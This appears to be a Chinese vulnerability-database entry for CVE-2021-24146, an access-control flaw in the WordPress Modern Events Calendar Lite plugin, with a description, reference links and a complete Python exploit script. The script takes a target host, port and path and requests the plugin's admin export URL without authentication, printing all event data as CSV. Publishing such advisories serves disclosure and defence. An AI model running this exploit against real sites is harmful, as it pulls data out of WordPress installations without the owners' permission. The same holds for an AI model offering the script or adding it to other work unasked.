modern events calendar Lite 安全漏洞

漏洞ID 2387175 漏洞类型 访问控制错误
发布时间 2021-07-02 更新时间 2021-07-05
CVE编号 CVE-2021-24146 CNNVD-ID CNNVD-202103-1164
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2021070002


http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202103-1164

|漏洞详情
WordPress Modern Events Calendar Lite是 （Wordpress）开源的一个应用插件。该插件用于管理事件网站的最佳工具。 WordPress Modern Events Calendar Lite plugin before 5.16.5 存在访问控制错误漏洞，该漏洞源于没有适当地限制对导出文件的访问。
|漏洞EXP 
# Exploit Title: WordPress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24146
# CWE: CWE-863, CWE-284
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md

'''
Description:
Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,
versions before 5.16.5, did not properly restrict access to the export files,
allowing unauthenticated users to exports all events data in CSV or XML format for example.
'''


'''
Banner:
'''
banner = """
   _______    ________    ___   ____ ___  ___     ___  __ __ _____ __  _____
  / ____/ |  / / ____/   |__ \ / __ \__ \<  /    |__ \/ // /<  / // / / ___/
 / /    | | / / __/________/ // / / /_/ // /_______/ / // /_/ / // /_/ __ \ 
/ /___  | |/ / /__/_____/ __// /_/ / __// /_____/ __/__  __/ /__  __/ /_/ / 
\____/  |___/_____/    /____/\____/____/_/     /____/ /_/ /_/  /_/  \____/  
                                                                                                                                                                                                                                                                                                          
            * WordPress Plugin Modern Events Calendar Lite < 5.16.2 - Export Event Data (Unauthenticated)
            * @Hacker5preme                                                                                                                            
                            
"""
print(banner)


'''
Import required modules:
'''
import requests
import argparse
import csv

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events CalendarExport Event Data (Unauthenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH


'''
Exploit:
'''
print('')
print('[+] Exported Data: ')
print('')
exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv'
answer = requests.get(exploit_url)
decoded_content = answer.content.decode('utf-8')
cr = csv.reader(decoded_content.splitlines(), delimiter=',')
my_list = list(cr)
for row in my_list:
    print(row)

|参考资料

来源:nvd.nist.gov

链接:https://nvd.nist.gov/vuln/detail/CVE-2021-24146

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